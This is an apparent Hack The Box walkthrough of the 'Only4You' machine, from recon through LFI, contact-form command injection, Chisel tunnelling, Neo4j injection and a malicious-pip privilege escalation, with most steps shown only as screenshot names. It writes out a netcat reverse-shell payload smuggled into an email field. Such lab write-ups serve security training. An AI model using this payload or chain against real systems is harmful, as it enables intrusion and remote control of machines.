Only4You Machine - Hack The Box - Writeup

Recon

We start launching a nmap port scan, in specific with a TCP port scan to identify the open ports on the machine.

Pasted image 20230425173842.png

We found 2 ports open

Port 80 - HTTP
Port 22 - SSH

With some basics scripts of recon, luanch a second scan to found the version and name of the services running on it.

Pasted image 20230425174138.png

Add page to Hosts file

lets add the domain to /etc/hosts file

Pasted image 20230425174219.png

and show it in a browser

Pasted image 20230425174345.png

Enumeration

I use GoBuster, but you can use your favorite tool to bruteforce and discovery subdomains:

Pasted image 20230425180033.png

We found one subdomain beta.only4you.htb lets add it to /etc/hosts file.

Pasted image 20230425180126.png

We see a website like this:

Pasted image 20230425180240.png

Download and explote the source code for vulns.

We found a LFI Vuln:

Pasted image 20230425180405.png

Let's try something with it:

Pasted image 20230425181023.png

We can read the /etc/passwd file of the machine. Let's try to read the app.py

Pasted image 20230425181153.png

We found a method executing python. So we can try to insert a payload on the contact form of the main page

Using BurpSuite Intercept the traffic and laod a payload to open a shell with nc.

Reverse Shell:

ewrc01@ewrc01.com|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP 4444 >/tmp/f

And you need to urlcode it in burpsuite and send it with repeater:

Pasted image 20230425182346.png

And in the other screen with nc -lvnp 4444

Pasted image 20230425182802.png

Port Forwarding using Chisel

We can use Chisel server and Chisel client to Port Worwarding, you can download it from Here

Start a Python Server on your main machine:

Pasted image 20230425183144.png

and use wget to download it on the victim machine:

Pasted image 20230425183343.png

And init a server with Chisel in your attacker machine:

Pasted image 20230425183511.png

And in your victim machine:

Give exec Permissions to chisel with chmod + x

and start chisel client ``

Pasted image 20230425183748.png

and open http://127.0.0.1:8001/ On your attacker machine:

Pasted image 20230425183917.png

We found a login try basic user and password like admin:admin and it works

In the employees pages we see a search field:

Pasted image 20230425184051.png

if you remember port 7474 is open on the machine and the only usually running on the port is Neo4J

Lets try some payloads for the database:

Pasted image 20230425190138.png

and start a python server to see results:

Pasted image 20230425190251.png

We found the user and password, lets crack it!

Pasted image 20230425190418.png

and we found the password lets use it on ssh and on localhost:3000

Localhost:3000

Pasted image 20230425190526.png

Pasted image 20230425190553.png

User Flag

and in ssh:

Pasted image 20230425190725.png

Privilege Scalation

To privilege scalation we can use a tool developed by yu8pentest on github, this tool perform an attack when you use the command pip install or pip download if we execute sudo -l:

Pasted image 20230425190925.png

We found we have enough privileges to execute pip3 download

So we download the source code of the tool on GitHub

Go to Git

And we edit the app.py on it like this:

Pasted image 20230425191407.png

Them make a build with python -m build

And the result is a file like this:

Pasted image 20230425191604.png

Lets start a new repo on http://localhost:3000

Pasted image 20230425191725.png

Follow the instructions of git:

Pasted image 20230425192027.png

Pasted image 20230425192012.png

And download it on victim machine:

Pasted image 20230425192439.png

look at it :

Pasted image 20230425192516.png

and execute the following lines:

Pasted image 20230425192542.png

Root Flag

Pasted image 20230425192604.png

And Congrats! you have pwned Only4You Machine.